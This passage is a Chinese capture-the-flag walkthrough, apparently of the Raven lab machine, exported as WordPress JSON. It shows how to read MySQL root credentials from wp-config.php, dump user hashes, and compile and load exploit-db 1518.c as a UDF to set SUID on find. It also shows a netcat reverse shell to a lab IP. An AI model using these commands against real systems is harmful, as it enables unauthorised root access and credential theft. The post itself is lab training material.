          1. \u535a\u5ba2\u529f\u80fd<\/strong>\uff1a\u7528\u6237\u53ef\u4ee5\u4f7f\u7528WordPress\u7f16\u5199\u5e26\u6709\u591a\u4e2a\u6807\u7b7e\u548c\u5206\u7c7b\u7684\u6587\u7ae0\uff0c\u5e76\u80fd\u591f\u4e0e\u9605\u8bfb\u8005\u8fdb\u884c\u4e92\u52a8\uff0c\u5982\u8bc4\u8bba\u3001\u70b9\u8d5e\u7b49\u3002<\/li>\n\n\n\n
          2. \u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf<\/strong>\uff1a\u9664\u4e86\u535a\u5ba2\u529f\u80fd\u5916\uff0cWordPress\u8fd8\u53ef\u4ee5\u4f5c\u4e3a\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\u6765\u4f7f\u7528\uff0c\u652f\u6301\u4f01\u4e1a\u7f51\u7ad9\u3001\u65b0\u95fb\u7f51\u7ad9\u7b49\u591a\u79cd\u7c7b\u578b\u7684\u7f51\u7ad9\u6784\u5efa\u3002<\/li>\n\n\n\n
          3. \u7535\u5b50\u5546\u52a1\u529f\u80fd<\/strong>\uff1a\u901a\u8fc7\u5b89\u88c5WooCommerce\u7b49\u63d2\u4ef6\uff0cWordPress\u53ef\u4ee5\u8f6c\u53d8\u4e3a\u4e00\u4e2a\u7535\u5b50\u5546\u52a1\u5e73\u53f0\uff0c\u652f\u6301\u4ea7\u54c1\u76ee\u5f55\u3001\u8d2d\u7269\u8f66\u3001\u7ed3\u8d26\u3001\u652f\u4ed8\u7b49\u529f\u80fd\u3002<\/li>\n\n\n\n
          4. \u793e\u4ea4\u5a92\u4f53\u6574\u5408<\/strong>\uff1aWordPress\u4e0e\u5404\u79cd\u793e\u4ea4\u5a92\u4f53\u5e73\u53f0\uff08\u5982Facebook\u3001Twitter\u3001Instagram\u7b49\uff09\u76f8\u96c6\u6210\uff0c\u7528\u6237\u53ef\u4ee5\u8f7b\u677e\u5730\u5728\u7f51\u7ad9\u4e0a\u6dfb\u52a0\u793e\u4ea4\u5a92\u4f53\u5206\u4eab\u6309\u94ae\u548c\u8ffd\u8e2a\u63d2\u4ef6\u3002<\/li>\n\n\n\n
          5. \u7f51\u7ad9\u5b89\u5168<\/strong>\uff1aWordPress\u4e13\u6ce8\u4e8e\u4fdd\u62a4\u7f51\u7ad9\u514d\u53d7\u6076\u610f\u653b\u51fb\u548c\u9ed1\u5ba2\u5165\u4fb5\uff0c\u7ecf\u5e38\u53d1\u5e03\u5b89\u5168\u66f4\u65b0\uff0c\u5e76\u63d0\u4f9b\u4e86\u4e00\u4e9b\u63d2\u4ef6\u548c\u5efa\u8bae\u4ee5\u589e\u5f3a\u7f51\u7ad9\u7684\u5b89\u5168\u6027\u3002<\/li>\n<\/ol>\n\n\n\n
            \u4e09\u3001WordPress\u7684\u5e7f\u6cdb\u5e94\u7528<\/h3>\n\n\n\n
            WordPress\u662f\u4e16\u754c\u4e0a\u4f7f\u7528\u6700\u5e7f\u6cdb\u7684\u535a\u5ba2\u7cfb\u7edf\u4e4b\u4e00\uff0c\u4e5f\u662f\u8bb8\u591a\u7f51\u7ad9\u7684\u9996\u9009\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\u3002\u5b83\u4e3a\u4e92\u8054\u7f51\u4e0a\u8d85\u8fc738%\u7684\u7f51\u7ad9\u63d0\u4f9b\u652f\u6301\uff0c\u5305\u62ec\u4e00\u4e9b\u77e5\u540d\u54c1\u724c\u7684\u5b98\u65b9\u7f51\u7ad9\u548c\u7535\u5b50\u5546\u52a1\u5e73\u53f0\u3002\u7531\u4e8e\u5176\u7075\u6d3b\u6027\u548c\u53ef\u6269\u5c55\u6027\uff0cWordPress\u53ef\u4ee5\u6ee1\u8db3\u4ece\u4e2a\u4eba\u535a\u5ba2\u5230\u5927\u578b\u4f01\u4e1a\u7f51\u7ad9\u7684\u5404\u79cd\u9700\u6c42\u3002<\/p>\n\n\n\n
            \u56db\u3001\u603b\u7ed3<\/h3>\n\n\n\n
            WordPress\u662f\u4e00\u6b3e\u529f\u80fd\u5f3a\u5927\u3001\u7075\u6d3b\u6613\u7528\u7684\u5f00\u6e90\u535a\u5ba2\u5de5\u5177\u548cCMS\u53d1\u5e03\u5e73\u53f0\u3002\u5b83\u63d0\u4f9b\u4e86\u4e30\u5bcc\u7684\u63d2\u4ef6\u548c\u4e3b\u9898\u8d44\u6e90\uff0c\u652f\u6301\u7528\u6237\u6839\u636e\u81ea\u5df1\u7684\u9700\u6c42\u8fdb\u884c\u5b9a\u5236\u548c\u5f00\u53d1\u3002\u65e0\u8bba\u662f\u521d\u5b66\u8005\u8fd8\u662f\u4e13\u4e1a\u5f00\u53d1\u4eba\u5458\uff0c\u90fd\u53ef\u4ee5\u5229\u7528WordPress\u6765\u5feb\u901f\u642d\u5efa\u548c\u7ba1\u7406\u81ea\u5df1\u7684\u7f51\u7ad9\u3002<\/p>\n\n\n\n
            \u5f00\u59cb\u679a\u4e3e<\/h2>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u8fdb\u5165wordpress\u6587\u4ef6\u5939\u4e0b\u540e\u9010\u4e00\u6392\u67e5\u6587\u4ef6\uff0c\u7531\u4e8e\u6587\u4ef6\u6570\u91cf\u592a\u5927\uff0c\u6211\u4eec\u8fd0\u884c\u547d\u4ee4grep \"password\" -rn wp-config.php<\/p>\n\n\n\n
            \u5728config\u6587\u4ef6\u91cc\u67e5\u627epassword\u5b57\u6bb5<\/p>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u53d1\u73b0\u627e\u5230\u4e86database\u7684password\u5b57\u6837\uff0c\u6211\u4eec\u67e5\u770b\u4ee3\u7801\uff0c\u53d1\u73b0\u5b58\u5728\u654f\u611f\u4fe1\u606f\u6cc4\u9732<\/p>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u5f97\u5230mysql\u7684root\u6743\u9650<\/h3>\n\n\n\n
            db_user: root<\/p>\n\n\n\n
            db_password: R@v3nSecurity<\/p>\n\n\n\n
            \u767b\u5165Mysql<\/h1>\n\n\n\n
            \u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n
            mysql -uroot -pR@v3nSecurity<\/code><\/pre>\n\n\n\n
            \u5bf9\u6570\u636e\u5e93\u8fdb\u884c\u4fe1\u606f\u641c\u96c6<\/h2>\n\n\n\n
            \u770b\u5e93\u540d<\/h3>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u770b\u7248\u672c<\/h3>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u770btables<\/h3>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u770b\u5b57\u6bb5<\/h3>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u641c\u96c6\u5230\u4e86\u4e24\u6761\u767b\u5165\u4fe1\u606f\uff0c\u83b7\u53d6\u5230\u4e86\u4e24\u4e2a\u8d26\u53f7\u548c\u5bc6\u7801<\/p>\n\n\n\n
            michael\uff1a$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0<\/p>\n\n\n\n
            steven\uff1aB6X3H3ykawf2oHuPsbjQiih5iJXqad.<\/p>\n\n\n\n
            UDF\u63d0\u6743<\/h1>\n\n\n\n
            \u67e5\u770b\u662f\u5426\u6ee1\u8db3\u5199\u5165\u6761\u4ef6<\/h2>\n\n\n\n
            \"\"\/<\/figure>\n\n\n\n
            \u77e5\u8bc6\u70b9<\/h3>\n\n\n\n
              \n
            1. \u5f53 secure_file_priv \u7684\u503c\u4e3a NULL \uff0c\u8868\u793a\u9650\u5236 mysqld \u4e0d\u5141\u8bb8\u5bfc\u5165|\u5bfc\u51fa\uff0c\u6b64\u65f6\u65e0\u6cd5\u63d0\u6743<\/li>\n\n\n\n
            2. \u5f53 secure_file_priv \u7684\u503c\u4e3a \/tmp\/ \uff0c\u8868\u793a\u9650\u5236 mysqld \u7684\u5bfc\u5165|\u5bfc\u51fa\u53ea\u80fd\u53d1\u751f\u5728 \/tmp\/\u76ee\u5f55\u4e0b\uff0c\u6b64\u65f6\u4e5f\u65e0\u6cd5\u63d0\u6743<\/li>\n\n\n\n
            3. \u5f53 secure_file_priv \u7684\u503c\u6ca1\u6709\u5177\u4f53\u503c\u65f6\uff0c\u8868\u793a\u4e0d\u5bf9 mysqld \u7684\u5bfc\u5165|\u5bfc\u51fa\u505a\u9650\u5236\uff0c\u6b64\u65f6\u53ef\u63d0\u6743!<\/li>\n<\/ol>\n\n\n\n
              ps\uff1a\u5982\u679c\u662f MySQL >= 5.1 \u7684\u7248\u672c\uff0c\u5fc5\u987b\u628a UDF \u7684\u52a8\u6001\u94fe\u63a5\u5e93\u6587\u4ef6\u653e\u7f6e\u4e8e MySQL \u5b89\u88c5\u76ee\u5f55\u4e0b\u7684 lib\\plugin \u6587\u4ef6\u5939\u4e0b\u6587\u4ef6\u5939\u4e0b\u624d\u80fd\u521b\u5efa\u81ea\u5b9a\u4e49\u51fd\u6570\u3002<\/p>\n\n\n\n
              \u67e5\u770b\u63d2\u4ef6\u76ee\u5f55<\/h2>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u67e5\u770b\u80fd\u5426\u8fdc\u7a0b\u767b\u5165<\/h2>\n\n\n\n
              \u4f7f\u7528mysql\u5e93\uff0c\u67e5\u770buser \u548c host \u7684\u76f8\u5173\u4fe1\u606f<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u53d1\u73b0\u8fd9\u91ccroot\u7528\u6237\u4e0d\u5141\u8bb8\u8fdc\u7a0b\u767b\u9646\uff0c\u56e0\u6b64\u4e0d\u80fd\u5229\u7528MSF\u63d0\u6743\u3002<\/p>\n\n\n\n
              \u67e5\u627eexp<\/h2>\n\n\n\n
              \u8c37\u6b4c\u641c\u7d22\uff1amysql 5.x UDF exploit<\/p>\n\n\n\n
              \u627e\u5230\u4f7f\u7528\u65b9\u6cd5\u8fd9\u4e00\u5757<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u4f7f\u7528exp<\/h2>\n\n\n\n
              \u5148\u9000\u51famysql<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u7136\u540e\u518d\u5728kali\u67e5\u627eexp\u8def\u5f84<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u5982\u679c\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u662f1518.c\uff0c\u53ef\u4ee5\u5148\u70b9\u51fb\u4e0b\u8f7d\u5c31\u77e5\u9053\u4e86<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              cp\u5230\u684c\u9762\u4e0a<\/p>\n\n\n\n
              cp \/usr\/share\/exploitdb\/exploits\/linux\/local\/1518.c \/root\/Desktop<\/code><\/pre>\n\n\n\n
              \u7f16\u8bd1\u6587\u4ef6<\/p>\n\n\n\n
              gcc -g -c \/root\/Desktop\/1518.c   ---GCC\u7f16\u8bd1.o\u6587\u4ef6\ngcc -g -shared -o dayu.so 1518.o -lc\n-g \u751f\u6210\u8c03\u8bd5\u4fe1\u606f\n-c \u7f16\u8bd1\uff08\u4e8c\u8fdb\u5236\uff09\n-shared\uff1a\u521b\u5efa\u4e00\u4e2a\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u8f93\u5165\u6587\u4ef6\u53ef\u4ee5\u662f\u6e90\u6587\u4ef6\u3001\u6c47\u7f16\u6587\u4ef6\u6216\u8005\u76ee\u6807\u6587\u4ef6\u3002\n-o\uff1a\u6267\u884c\u547d\u4ee4\u540e\u7684\u6587\u4ef6\u540d\n-lc\uff1a-l \u5e93 c\u5e93\u540d<\/code><\/pre>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u6211\u4eec\u73b0\u5728\u8981\u5c06kang.so\u4e0a\u4f20\u5230\u9776\u673a\u4e0a\uff0c\u6253\u5f00http\u670d\u52a1<\/p>\n\n\n\n
              python3 -m http.server 8081 <\/code><\/pre>\n\n\n\n
              \u5728\u9776\u673a\u4e0a\u5207\u6362\u5230tmp\u76ee\u5f55\u4e0b\uff08\u517b\u6210\u597d\u4e60\u60ef\uff09<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u5148\u67e5\u770b\u521d\u59cb\u4fe1\u606f\uff0c\u4e3a\u540e\u7eed\u65b9\u4fbf\u521b\u5efa\u6570\u636e\u8868<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u521b\u5efa\u6570\u636e\u8868<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u63d2\u5165\u6570\u636e\u6587\u4ef6<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              kang\u8868\u6210\u529f\u63d2\u5165\u4e8c\u8fdb\u5236\u6570\u636e\uff0c\u7136\u540e\u5229\u7528dumpfile\u51fd\u6570\u628a\u6587\u4ef6\u5bfc\u51fa\uff0coutfile \u591a\u884c\u5bfc\u51fa\uff0cdumpfile\u4e00\u884c\u5bfc\u51fa<\/p>\n\n\n\n
              outfile\u4f1a\u6709\u7279\u6b8a\u7684\u8f6c\u6362\uff0c\u800cdumpfile\u662f\u539f\u6570\u636e\u5bfc\u51fa\uff01<\/p>\n\n\n\n
              \u65b0\u5efa\u5b58\u50a8\u51fd\u6570<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u521b\u5efa\u81ea\u5b9a\u4e49\u51fd\u6570do_system\uff0c\u7c7b\u578b\u662finteger\uff0c\u522b\u540d\uff08soname\uff09\u6587\u4ef6\u540d\u5b57\uff0c\u7136\u540e\u67e5\u8be2\u51fd\u6570\u662f\u5426\u521b\u5efa\u6210\u529f<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u8c03\u7528do_system\u51fd\u6570\u6765\u7ed9find\u547d\u4ee4\u6240\u6709\u8005\u7684suid\u6743\u9650\uff0c\u4f7f\u5176\u53ef\u4ee5\u6267\u884croot\u547d\u4ee4<\/p>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u6267\u884cfind\u547d\u4ee4<\/p>\n\n\n\n
              find \/ -exec \"\/bin\/sh\" \\;<\/code><\/pre>\n\n\n\n
              \"\"\/<\/figure>\n\n\n\n
              \u53d1\u73b0euid\u662froot\u6743\u9650<\/p>\n\n\n\n
              \u77e5\u8bc6\u70b9<\/h3>\n\n\n\n
                \n
              • uid=33(www-data)<\/code>\uff1a\u8fdb\u7a0b\u7684\u5b9e\u9645\u7528\u6237ID\uff08UID\uff09\u662f33\uff0c\u5bf9\u5e94\u7684\u7528\u6237\u540d\u662fwww-data<\/code>\u3002\u8fd9\u901a\u5e38\u662f\u8fdb\u7a0b\u542f\u52a8\u65f6\u767b\u5f55\u7684\u7528\u6237\u6216\u8005\u6587\u4ef6\u7684\u6240\u6709\u8005\u3002<\/li>\n\n\n\n
              • gid=33(www-data)<\/code>\uff1a\u8fdb\u7a0b\u7684\u5b9e\u9645\u7ec4ID\uff08GID\uff09\u4e5f\u662f33\uff0c\u5bf9\u5e94\u7684\u7ec4\u540d\u662fwww-data<\/code>\u3002\u8fd9\u8868\u793a\u8fdb\u7a0b\u7684\u4e3b\u7ec4\u662fwww-data<\/code>\u3002<\/li>\n\n\n\n
              • euid=0(root)<\/code>\uff1a\u8fdb\u7a0b\u7684\u6709\u6548\u7528\u6237ID\uff08EUID\uff09\u662f0\uff0c\u5bf9\u5e94\u7684\u7528\u6237\u540d\u662froot<\/code>\u3002\u8fd9\u610f\u5473\u7740\u5c3d\u7ba1\u8fdb\u7a0b\u7531www-data<\/code>\u7528\u6237\u542f\u52a8\uff0c\u4f46\u5b83\u5728\u6267\u884c\u7cfb\u7edf\u8c03\u7528\u6216\u8bbf\u95ee\u6587\u4ef6\u65f6\u62e5\u6709root<\/code>\u7528\u6237\u7684\u6743\u9650\u3002\u8fd9\u901a\u5e38\u662f\u901a\u8fc7\u67d0\u79cd\u673a\u5236\uff08\u5982setuid<\/code>\u4f4d\u6216sudo<\/code>\uff09\u5b9e\u73b0\u7684\uff0c\u7528\u4e8e\u5141\u8bb8\u7279\u5b9a\u64cd\u4f5c\u4ee5\u66f4\u9ad8\u6743\u9650\u6267\u884c\u3002<\/li>\n\n\n\n
              • groups=33(www-data)<\/code>\uff1a\u8fdb\u7a0b\u6240\u5c5e\u7684\u9644\u52a0\u7ec4\u662fwww-data<\/code>\uff0c\u7ec4ID\u4e3a33\u3002\u5c3d\u7ba1\u8fd9\u91cc\u53ea\u5217\u51fa\u4e86\u4e00\u4e2a\u7ec4\uff0c\u4f46\u8fdb\u7a0b\u53ef\u80fd\u5c5e\u4e8e\u591a\u4e2a\u9644\u52a0\u7ec4\uff0c\u8fd9\u4e9b\u7ec4\u4e5f\u4f1a\u5f71\u54cd\u6587\u4ef6\u8bbf\u95ee\u6743\u9650\u3002<\/li>\n<\/ul>\n\n\n\n
                \u63d0\u6743\u5b8c\u6bd5<\/h1>\n\n\n\n
                \u67e5\u770bflag<\/h2>\n\n\n\n
                \u524d\u9762\u53ef\u77e5flag4\u9700\u8981root\u6743\u9650\u624d\u80fd\u67e5\u770b\uff0c\u6240\u4ee5\u73b0\u5728\u53ef\u4ee5\u67e5\u770bflag4\u4e86<\/p>\n\n\n\n
                \"\"\/<\/figure>\n\n\n\n
                \u83b7\u53d6flag4{df2bc5e951d91581467bb9a2a8ff4425}<\/p>\n\n\n\n
                \"\"\/<\/figure>\n\n\n\n
                \u62d3\u5c55<\/h1>\n\n\n\n
                \u5176\u5b9e\u5728\u6211\u4eec\u521b\u5efa\u5b8cdo_system\u65f6\uff0c\u5c31\u57fa\u672c\u63d0\u6743\u5b8c\u4e86\uff0c\u53ea\u662f\u9700\u8981\u8c03\u7528do_system\u51fd\u6570\u6765\u7ed9find\u547d\u4ee4\u6240\u6709\u8005\u7684suid\u6743\u9650\uff0c\u4f7f\u5176\u53ef\u4ee5\u6267\u884croot\u547d\u4ee4\uff0c\u800c\u8c03\u7528\u8fd9\u4e2a\u9664\u4e86\u53ef\u4ee5select do_system('chmod u+s \/usr\/bin\/find'); \u8fd8\u53ef\u4ee5select do_system('nc -nv 192.168.11.138 6677 -e \/bin\/bash');<\/p>\n\n\n\n
                \u5728\u8fd0\u884c\u547d\u4ee4\u524d\u5148\u76d1\u542c\u672c\u673a6677\u7aef\u53e3\uff0c\u8fd0\u884c\u5b8c\u547d\u4ee4\u540e\u53d1\u73b0\u6709\u56de\u5f39<\/p>\n\n\n\n
                \"\"\/<\/figure>\n\n\n\n
                \u4fe1\u606f\u641c\u96c6<\/p>\n\n\n\n
                \"\"\/<\/figure>\n","protected":false},"excerpt":{"rendered":"
                Nmap\u626b\u63cf \u53d1\u73b0\u76ee\u6807\u5730\u5740 192.168.11.141 \u5b58\u5728 ssh \u670d\u52a1\u548c http \u670d\u52a1\uff0crpcbind \u670d\u52a1 \u77e5\u8bc6\u70b9\uff08rp …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3],"tags":[2],"class_list":["post-113","post","type-post","status-publish","format-standard","hentry","category-3","tag-2"],"_links":{"self":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts\/113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/comments?post=113"}],"version-history":[{"count":1,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts\/113\/revisions"}],"predecessor-version":[{"id":114,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts\/113\/revisions\/114"}],"wp:attachment":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/media?parent=113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/categories?post=113"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/tags?post=113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}